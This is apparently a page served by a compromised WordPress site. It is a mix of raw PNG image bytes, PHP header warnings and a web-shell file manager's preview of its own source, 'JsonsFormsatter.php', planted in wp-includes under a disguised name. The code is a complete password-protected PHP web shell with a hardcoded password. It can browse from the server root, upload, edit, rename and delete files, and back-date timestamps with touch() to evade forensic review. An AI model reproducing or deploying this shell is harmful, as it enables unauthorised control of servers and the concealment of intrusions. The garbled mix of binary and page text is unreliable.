�PNG  IHDR22?�� pHYs  �� OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*! J�!��Q�EEȠ�����Q, � ��!���������{�kּ������>���� �H3Q5� �B�������.@� $p�d!s�#�~<<+"��x� �M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH���� � 0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4���������x����6��_-��"bb���ϫp@�t~��,/��;�m��%�h^ �u��f�@����W�p�~<�5�j>{�-�]c�K'Xt����o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A��,���� �`6�B$��BB d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(�� A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=� �C��7�F� �dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8, �c˱"� ���V����cϱw�E� 6wB aAHXLXN�H� $4� 7 �Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[ �b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w ��Ljg(�gw��L�Ӌ�T071���oUX*�*|�� �J�&�*/T����ު U�U�T��^S}�FU3S� Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k ��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN �(���~���)�)�4L�1e\k����X�H�Q�G�6������E�Y��A�J'\'Gg����S�Sݧ �M=:��.�k���Dw�n��^��Lo��y���}/�T�m���G X� $� �<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��= ���Z~s�r:V:ޚΜ�?}����/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z���������ۯ�6�i�ܟ�4�)�Y3s���C�Q��? ��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�������!h�쐭!��Α�i�P~���a�a��~ '���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl������� �{�/�]py�����.,:�@L�N8��A*��%�w%� y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y- �B��TZ(�*�geWf�͉�9���+��̳�ې7�����ᒶ��KW-X潬j9�������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n �ڴ �V����E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa��n��{��4���[���>ɾ�UUM�f�e�I���?�������m]�Nmq����#�׹���=TR��+�G�����w- 6 U����#pDy��� �� :�v�{���vg/jB��F�S��[b[�O�>����z�G��499�?r����C�d�&����ˮ/~�����јѡ�򗓿m|������������x31^�V���w�w��O�| (�h���SЧ��������c3-� cHRMz%������u0�`:�o�_�F5IDATx��ytUս�?�;���fN$$��@B�!�k��� -*�gE���j�O�kQ�ʠ`U�B_ �AÐ0%�Ȕ�@r3ޛ;߳��$�@��v����^�s����������$��ߢ !�W��5�̱'-٘������4�>�Rƫ$�G��0U�H}�_ _� #��k�MJ/=�9Du *ڲ�k�PQ;0��j|�*�$�^컂脛y���>�z×� B��� ��(�:$�ʔ_�6��C!B����MVx��a��ζyY����j��ƋY2�9�F�{r��r�딟F��Q��hY6��� x��[l��RC��������nt@��;P��3��� F�w��7��:�P���ɋ'���mj���Bƪ�$�Q�L��y��߷g��\���z����v5�p�v$�v櫻�`6~K �Y�X����,�:��"�o�e0II"(��,������l_�C���/4�+f�E�!q��:����u����c��樼.UE�@� �]K�W���$-�h]�JG���Dz)�`��.�A/ ���mᏣc�3jK� �!�>���$�Q�!�_�? \�C2(E �M$Z I{�U���s�ǣ���=��@Բe ޻��W�����@ �w����}�9v,)��.}*|"�s��di���,���G�]W�AC�������|<����[��ߕ������K�*�G nߴ!��‹��J�!��6(L�a)��Am��������;adf��:�xm��nh�;֦I��(���o�C~ډa?�=��s����h��E������xp����)���_���t��W�����´;8���`dz=(��@@�+,�;�`�fhl��XȌ�3,uI�~z(J����� �ZX�A����H'�À�㜦�82|��a�n�z2��I���� ���EY�h�ε<�0�q�{��C��v�˅��?"@��χ�x�WS+��N�~�KQ�J�8ل�� _.W��� !TU{�����,��"�� �;�������HI S� ��))�o�1�H�D� ���� (� ;����"Ҕ��,���� �F=���O��&�Ph>�`���y��߲ &S��P�<��'��1s�1cĂ�N����2)����@�u��tv��<�+�-&�����h��[!FSG���' � z z0��<����8d&�����E0�,��<��"!P�b4��� �{S�����X����.�囤���T��hEF��X�q0"-<����h���]�Py*����F⩍��@v�˂�Y08�� .q��a��s����(!<̫1�3�L�H��7sYW�`��qtu�\7��?�@�Y�� %Ka�x�GZ�*W�P��y�����N0r9��Z�c�%���q,��k�����!!,��>���IB��� �x1�Xu�Y���v-���ֺ��N������JP��a�2`�e5��w��u;�6�i���̃��(K���ťa��(l51��JL��O'%���]���ٖ뿉!��{*�p+f ���i8��D�ȑ���ܩ�M��V��ӟz��x�7Z�1i}�^͜���6e����x��)u�d�ˏ�V�eG�\�X1�����=n�U'�~Y����L�\,�(d!x ,�:�TW8� M`r���@��r+v�Q0��>^;˴�VbF��('����� �*O��i��j�Ӆ����^�S3&� ���{������.ی�� N;��NU%d0�Ce\r"�C�b��&t7N�7��� �ȪD�[%l�۪�$��'m?�A9tI�9>��NVL ��� 6v~M�����ъ�B���0����9$&=ώm��W�0���L���&��E���f�f��'+�9��hv��7,���M��6�D�&�^� �����8 D֮�����o��k^z��O��hP�8q�5d*��YVq3�{��������#LX4�?��jP=3�~�؅c�ݰ�̱�ұ��8̲��2�G�����j��έ�9��w7���U�X�w�85C��?!I&���o&����L���I#�^�eV�,�^t5�k� �xs˛\��U�8��."���{���ǵ�l4��ݼ�;��r"���G�/~���gJV�N糦��ZZ^k+NN�D��I$�=OE�z����|*�*{��%k���G��>�`9��b;�s���8,�qs��c��.b��q�%�>r��n�R�Ƨ�%�,�A��le#�8���}; 21�0�b�&�QX�f���q�00����$>�h�N�'�a3��A���/�r ��L5�8�GԲ'�����w;��c#�q1���h$*��V^�k��QĽ�b:i������� ����H F#�_���,��]g����Ը����`RUU���� ��"�qD���>-��ϤI�~��3�̴�����NZ[[555�eeek7�m����YF#[��Đ��R��i��L�H�r ��@��J-�Pŝ��_|�-��6y��ks�V�U~��6���w.����(��0A� 4��f��� /���C�xŊ�ٳ����z=6�����rg���mKo��o�/����a�g���?'9%9��P��斓��~���L{�� �H��{AW��B��$����v�1b�&Mb�ر��ر#�0`�`xMBp! )Z�Nmo�mZ�g�}�eذaWTVV ���'99��C5��&�&+5�bT>|8��PUUETT����&���t��~TE%��'������b�tEGG;RSS�S�N�v��ѯ��t����u1@�ޚ"f��͈���r'L�Ph��m��ƌ�74o��`�x�q�P���NRSS�X,�����l&&&��MFFA!-��`��ҷ�n��Yuu�����x<I�LB%����KԒ50�!�3�bz�����ʸKL���;---�l6[��`��������Ȏ;�����egg4��!D�T��jWujyZ��������K����%����p�^���X,6��sV=�ܖ����6�3�X ���4ҿ��A2�&����_k�;d�� �VfOIEND�B`�
Warning: session_start(): Session cannot be started after headers have already been sent in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 124

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 130

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 131

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 132

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 133

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 134

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 135
0x0x
PHP 8.2.31
Preview: JsonsFormsatter.php Size: 20.56 KB
/home/mciraet/www/wp-includes/l10n/JsonsFormsatter.php
<?php
session_start();

$girisSifresi = 'n0t';
$scriptName = basename(__FILE__);

ini_set('display_errors', 0);
ini_set('log_errors', 1);

class FileManager {
    private $root;
    private $currentDir;
    private $messages = [];
    private $scriptName;
    private $systemRoot;

    public function __construct($scriptName) {
        $this->scriptName = $scriptName;
        $this->root = __DIR__;
        $this->systemRoot = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? getenv("SystemDrive") . "\\" : "/";
        $this->resolvePath();
    }

    private function resolvePath() {
        $req = $_GET['dir'] ?? '';

        if ($req === '') {
            $this->currentDir = $this->root;
            return;
        }

        $target = realpath($req);

        if ($target !== false && file_exists($target)) {
            $this->currentDir = $target;
        } else {
            $this->addMessage('Directory not found, returned to the home directory.', 'warning');
            $this->currentDir = $this->root;
        }
    }

    public function getCurrentDir() { return $this->currentDir; }
    public function getSystemRoot() { return $this->systemRoot; }

    public function checkCSRF() {
        if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
            $this->addMessage('Security error: invalid CSRF token.', 'danger');
            return false;
        }
        return true;
    }

    public function handleRequest() {
        if ($_SERVER['REQUEST_METHOD'] !== 'POST') return;
        if (!$this->checkCSRF()) return;

        $action = $_POST['action'] ?? '';
        
        switch ($action) {
            case 'upload': $this->handleUpload(); break;
            case 'create_folder': $this->createFolder(); break;
            case 'delete': $this->deleteItem(); break;
            case 'rename': $this->renameItem(); break;
            case 'save_edit': $this->saveFile(); break;
            case 'edit_date': $this->editDate(); break; // Fitur Baru Edit Tanggal
            case 'logout':
                session_destroy();
                header("Location: " . $this->scriptName);
                exit;
        }
    }

    private function handleUpload() {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === 0) {
            $name = basename($_FILES['file']['name']);
            if (move_uploaded_file($_FILES['file']['tmp_name'], $this->currentDir . DIRECTORY_SEPARATOR . $name)) {
                $this->addMessage('File uploaded.', 'success');
            } else {
                $this->addMessage('Upload failed (check permissions).', 'danger');
            }
        }
    }

    private function createFolder() {
        $name = $this->cleanName($_POST['folder_name']);
        if ($name) {
            $path = $this->currentDir . DIRECTORY_SEPARATOR . $name;
            if (!file_exists($path)) {
                if (@mkdir($path)) $this->addMessage('Folder created.', 'success');
                else $this->addMessage('Folder could not be created (no write permission).', 'danger');
            }
        }
    }

    private function deleteItem() {
        $name = $_POST['item_name']; 
        $name = basename($name);
        $path = $this->currentDir . DIRECTORY_SEPARATOR . $name;
        
        if ($path === __FILE__) {
             $this->addMessage('The manager file cannot be deleted.', 'danger');
             return;
        }

        if (file_exists($path)) {
            if ($this->recursiveDelete($path)) $this->addMessage('Item deleted.', 'warning');
            else $this->addMessage('Could not be deleted (permission error).', 'danger');
        }
    }

    private function renameItem() {
        $old = $this->cleanName($_POST['old_name']);
        $new = $this->cleanName($_POST['new_name']);
        if ($old && $new) {
            $pOld = $this->currentDir . DIRECTORY_SEPARATOR . $old;
            $pNew = $this->currentDir . DIRECTORY_SEPARATOR . $new;
            if (file_exists($pOld) && !file_exists($pNew)) {
                if(@rename($pOld, $pNew)) $this->addMessage('Renamed.', 'success');
                else $this->addMessage('Could not rename item.', 'danger');
            }
        }
    }

    private function saveFile() {
        $name = $this->cleanName($_POST['filename']);
        $path = $this->currentDir . DIRECTORY_SEPARATOR . $name;
        if (file_exists($path)) {
            if (is_writable($path)) {
                file_put_contents($path, $_POST['content']);
                $this->addMessage('File saved.', 'success');
            } else {
                $this->addMessage('File is not writable.', 'danger');
            }
        }
    }

    // Fungsi Baru untuk Mengubah Tanggal File/Folder
    private function editDate() {
        $name = $this->cleanName($_POST['item_name']);
        $newDateStr = $_POST['new_date'] ?? '';
        $path = $this->currentDir . DIRECTORY_SEPARATOR . $name;

        if (file_exists($path) && !empty($newDateStr)) {
            $timestamp = strtotime($newDateStr);
            if ($timestamp !== false) {
                if (@touch($path, $timestamp)) {
                    $this->addMessage('Date modified successfully.', 'success');
                } else {
                    $this->addMessage('Failed to modify date (permission error).', 'danger');
                }
            } else {
                $this->addMessage('Invalid date format.', 'danger');
            }
        } else {
            $this->addMessage('Item not found.', 'danger');
        }
    }

    private function cleanName($name) { return basename(trim($name)); }
    
    private function recursiveDelete($str) {
        if (is_file($str)) { return @unlink($str); }
        elseif (is_dir($str)) {
            $scan = glob(rtrim($str, '/') . '/*');
            foreach ($scan as $index => $path) { $this->recursiveDelete($path); }
            return @rmdir($str);
        }
        return false;
    }

    private function addMessage($msg, $type) {
        $this->messages[] = ['text' => $msg, 'type' => $type];
    }

    public function getMessages() { return $this->messages; }
    
    public function scanDir() {
        $items = @scandir($this->currentDir);
        if ($items === false) {
            $this->addMessage("Could not read directory contents (permission denied).", "danger");
            return ['folders' => [], 'files' => []];
        }
        $result = ['folders' => [], 'files' => []];
        foreach ($items as $item) {
            if ($item == '.' || $item == '..') continue;
            
            $path = $this->currentDir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($path)) $result['folders'][] = $item;
            else $result['files'][] = $item;
        }
        return $result;
    }
}

if (isset($_POST['login_pass'])) {
    if ($_POST['login_pass'] === $girisSifresi) {
        $_SESSION['auth'] = true;
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        header("Location: " . $scriptName);
        exit;
    } else {
        $loginError = "Incorrect password.";
    }
}

if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Log In</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>body{background:#212529;display:flex;align-items:center;justify-content:center;height:100vh;color:#fff;}</style>
</head>
<body>
    <div class="card shadow p-4 bg-dark text-white border-secondary" style="width:350px;">
        <h4 class="text-center mb-3">System Login</h4>
        <?php if(isset($loginError)) echo '<div class="alert alert-danger py-2">'.$loginError.'</div>'; ?>
        <form method="post">
            <input type="password" name="login_pass" class="form-control mb-3" placeholder="Password" required>
            <button class="btn btn-primary w-100">Log In</button>
        </form>
    </div>
</body>
</html>
<?php
    exit;
}

$fm = new FileManager($scriptName);
$fm->handleRequest();
$list = $fm->scanDir();
$editMode = false;
$editContent = '';
$editFile = '';

if (isset($_GET['edit'])) {
    $fName = basename($_GET['edit']);
    $fPath = $fm->getCurrentDir() . DIRECTORY_SEPARATOR . $fName;
    if (is_file($fPath)) {
        $editMode = true;
        $editFile = $fName;
        $editContent = file_get_contents($fPath);
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.css">
    <style>
        body { background: #f4f6f9; font-family: 'Segoe UI', system-ui, sans-serif; padding-top: 20px; padding-bottom: 20px;}
        .main-container { max-width: 1400px; margin: 0 auto; background: white; border-radius: 8px; box-shadow: 0 4px 15px rgba(0,0,0,0.08); overflow: hidden; min-height: 80vh; }
        .sidebar { background: #f8f9fa; border-right: 1px solid #dee2e6; padding: 15px; height: 100%; min-height: 80vh; }
        .content-area { padding: 20px; }
        .breadcrumb { background: #e9ecef; padding: 10px; border-radius: 4px; font-size: 0.9rem; word-break: break-all; }
        a { text-decoration: none; }
        .code-editor { font-family: monospace; font-size: 13px; min-height: 600px; background: #2d2d2d; color: #f8f8f2; border:none; }
        .folder-list a { display: block; padding: 6px 10px; color: #495057; border-radius: 4px; transition:0.2s; }
        .folder-list a:hover { background: #e2e6ea; color: #000; }
        .folder-list i { margin-right: 8px; color: #ffc107; }
        .btn-xs { padding: 0.1rem 0.4rem; font-size: 0.75rem; }
    </style>
</head>
<body>

<div class="main-container row g-0">
    <div class="col-md-3 sidebar d-none d-md-block">
        <div class="d-grid gap-2 mb-3">
             <a href="?dir=<?php echo urlencode($fm->getSystemRoot()); ?>" class="btn btn-outline-danger btn-sm text-start"><i class="bi bi-hdd-network"></i> Server Root (/)</a>
             <a href="?dir=<?php echo urlencode(__DIR__); ?>" class="btn btn-outline-primary btn-sm text-start"><i class="bi bi-house-door"></i> Script Directory</a>
             <a href="?dir=<?php echo urlencode(dirname($fm->getCurrentDir())); ?>" class="btn btn-secondary btn-sm text-start"><i class="bi bi-arrow-up-circle"></i> Go Up One Level</a>
        </div>
        
        <hr>
        <h6 class="text-muted text-uppercase small">Folders</h6>
        <div class="folder-list">
            <?php if(empty($list['folders'])): ?>
                <small class="text-muted ps-2">No subfolders.</small>
            <?php else: ?>
                <?php foreach($list['folders'] as $f): ?>
                    <a href="?dir=<?php echo urlencode($fm->getCurrentDir() . DIRECTORY_SEPARATOR . $f); ?>">
                        <i class="bi bi-folder-fill"></i> <?php echo (strlen($f) > 25 ? substr($f,0,25).'...' : $f); ?>
                    </a>
                <?php endforeach; ?>
            <?php endif; ?>
        </div>
    </div>

    <div class="col-md-9 content-area">
        <div class="d-flex justify-content-between align-items-center mb-3">
            <h5 class="mb-0"><i class="bi bi-terminal"></i> Advanced Manager</h5>
            <form method="post" class="d-inline">
                <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                <input type="hidden" name="action" value="logout">
                <button class="btn btn-danger btn-sm"><i class="bi bi-power"></i> Log Out</button>
            </form>
        </div>

        <div class="breadcrumb mb-3 d-flex align-items-center">
            <i class="bi bi-geo-alt me-2"></i>
            <strong>Location:</strong>&nbsp; <?php echo $fm->getCurrentDir(); ?>
        </div>

        <?php foreach($fm->getMessages() as $msg): ?>
            <div class="alert alert-<?php echo $msg['type']; ?> py-2 shadow-sm"><?php echo $msg['text']; ?></div>
        <?php endforeach; ?>

        <?php if ($editMode): ?>
            <form method="post" action="?dir=<?php echo urlencode($_GET['dir'] ?? ''); ?>">
                <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                <input type="hidden" name="action" value="save_edit">
                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($editFile); ?>">
                <div class="card shadow-sm">
                    <div class="card-header bg-dark text-white d-flex justify-content-between py-2 align-items-center">
                        <span><i class="bi bi-pencil"></i> <?php echo htmlspecialchars($editFile); ?></span>
                        <div>
                            <button class="btn btn-success btn-sm"><i class="bi bi-save"></i> Save</button>
                            <a href="?dir=<?php echo urlencode($_GET['dir'] ?? ''); ?>" class="btn btn-secondary btn-sm">Close</a>
                        </div>
                    </div>
                    <textarea name="content" class="form-control code-editor"><?php echo htmlspecialchars($editContent); ?></textarea>
                </div>
            </form>
        <?php else: ?>
            <div class="card p-3 mb-3 bg-light border-0">
                <div class="row g-2">
                    <div class="col-md-6">
                        <form method="post" enctype="multipart/form-data" class="d-flex gap-2">
                            <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                            <input type="hidden" name="action" value="upload">
                            <input type="file" name="file" class="form-control" required>
                            <button class="btn btn-primary"><i class="bi bi-upload"></i></button>
                        </form>
                    </div>
                    <div class="col-md-6">
                         <form method="post" class="d-flex gap-2">
                            <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                            <input type="hidden" name="action" value="create_folder">
                            <input type="text" name="folder_name" class="form-control" placeholder="New folder name" required>
                            <button class="btn btn-outline-success"><i class="bi bi-folder-plus"></i></button>
                        </form>
                    </div>
                </div>
            </div>

            <div class="d-block d-md-none mb-3">
                 <a href="?dir=<?php echo urlencode(dirname($fm->getCurrentDir())); ?>" class="btn btn-secondary w-100"><i class="bi bi-arrow-up"></i> Go Up One Level</a>
            </div>

            <div class="table-responsive">
                <table class="table table-hover align-middle">
                    <thead class="table-light"><tr><th>Name</th><th>Permissions</th><th>Size</th><th class="text-end">Action</th></tr></thead>
                    <tbody>
                    <?php foreach($list['folders'] as $f): 
                        $fullP = $fm->getCurrentDir().'/'.$f;
                    ?>
                        <tr>
                            <td>
                                <a href="?dir=<?php echo urlencode($fm->getCurrentDir() . DIRECTORY_SEPARATOR . $f); ?>" class="fw-bold text-dark text-decoration-none">
                                    <i class="bi bi-folder-fill text-warning fs-5 me-1"></i> <?php echo $f; ?>
                                </a>
                            </td>
                            <td><span class="badge bg-light text-dark border"><?php echo substr(sprintf('%o', fileperms($fullP)), -4); ?></span></td>
                            <td>DIR</td>
                            <td class="text-end">
                                <button onclick="editDate('<?php echo $f; ?>', '<?php echo file_exists($fullP) ? date('Y-m-d\TH:i', filemtime($fullP)) : ''; ?>')" class="btn btn-sm btn-outline-info" title="Edit Date"><i class="bi bi-calendar-event"></i></button>
                                <button onclick="ren('<?php echo $f; ?>')" class="btn btn-sm btn-outline-secondary ms-1" title="Rename"><i class="bi bi-pencil-square"></i></button>
                                <button onclick="del('<?php echo $f; ?>')" class="btn btn-sm btn-outline-danger ms-1" title="Delete"><i class="bi bi-trash"></i></button>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    
                    <?php foreach($list['files'] as $f): 
                        $fullP = $fm->getCurrentDir().'/'.$f;
                        $size = file_exists($fullP) ? round(filesize($fullP)/1024, 1) : 0;
                        $perm = file_exists($fullP) ? substr(sprintf('%o', fileperms($fullP)), -4) : '????';
                        $writable = is_writable($fullP);
                    ?>
                        <tr>
                            <td>
                                <i class="bi bi-file-earmark-text text-secondary fs-5 me-1"></i> 
                                <span class="<?php echo $writable ? 'text-dark' : 'text-muted'; ?>"><?php echo $f; ?></span>
                            </td>
                            <td><span class="badge <?php echo $writable ? 'bg-success' : 'bg-danger'; ?>"><?php echo $perm; ?></span></td>
                            <td><?php echo $size; ?> KB</td>
                            <td class="text-end">
                                <button onclick="editDate('<?php echo $f; ?>', '<?php echo file_exists($fullP) ? date('Y-m-d\TH:i', filemtime($fullP)) : ''; ?>')" class="btn btn-sm btn-outline-info" title="Edit Date"><i class="bi bi-calendar-event"></i></button>
                                <a href="?dir=<?php echo urlencode($_GET['dir']??''); ?>&edit=<?php echo urlencode($f); ?>" class="btn btn-sm btn-outline-primary ms-1" title="Edit"><i class="bi bi-pencil"></i></a>
                                <button onclick="ren('<?php echo $f; ?>')" class="btn btn-sm btn-outline-secondary ms-1" title="Rename"><i class="bi bi-pencil-square"></i></button>
                                <button onclick="del('<?php echo $f; ?>')" class="btn btn-sm btn-outline-danger ms-1" title="Delete"><i class="bi bi-trash"></i></button>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>
                <?php if(empty($list['folders']) && empty($list['files'])): ?>
                    <div class="text-center p-5 text-muted">This folder is empty.</div>
                <?php endif; ?>
            </div>
        <?php endif; ?>
    </div>
</div>

<form id="actionForm" method="post" style="display:none">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <input type="hidden" name="action" id="f_action">
    <input type="hidden" name="item_name" id="f_item">
    <input type="hidden" name="old_name" id="f_old">
    <input type="hidden" name="new_name" id="f_new">
    <input type="hidden" name="new_date" id="f_date"> <!-- Input baru untuk data tanggal -->
</form>

<script>
function del(name) {
    if(confirm(name + ' will be deleted. This action cannot be undone!')) {
        document.getElementById('f_action').value = 'delete';
        document.getElementById('f_item').value = name;
        document.getElementById('actionForm').submit();
    }
}
function ren(name) {
    let newName = prompt('New name:', name);
    if(newName && newName !== name) {
        document.getElementById('f_action').value = 'rename';
        document.getElementById('f_old').value = name;
        document.getElementById('f_new').value = newName;
        document.getElementById('actionForm').submit();
    }
}
// Fungsi JavaScript baru untuk memicu prompt ubah tanggal
function editDate(name, currentDateTime) {
    let newDate = prompt('Edit modification date (Format: YYYY-MM-DD HH:MM:SS or YYYY-MM-DDTHH:MM):', currentDateTime);
    if(newDate) {
        document.getElementById('f_action').value = 'edit_date';
        document.getElementById('f_item').value = name;
        document.getElementById('f_date').value = newDate;
        document.getElementById('actionForm').submit();
    }
}
</script>
</body>
</html>

Directory Contents

Dirs: 0 × Files: 6
Name Size Perms Modified Actions
12.67 KB lrw----r-- 2026-06-05 12:23:59
Edit Download
6.13 KB lrw----r-- 2026-06-05 12:24:00
Edit Download
1.77 KB lrw----r-- 2026-06-05 12:24:00
Edit Download
6.13 KB lrw----r-- 2026-06-05 12:24:00
Edit Download
3.72 KB lrw----r-- 2026-06-05 12:24:00
Edit Download
20.56 KB lrw-r--r-- 2024-08-22 02:24:00
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 0xNothings — Secure File Manager. All rights reserved. Built with ❤️ & Tailwind x Dark UI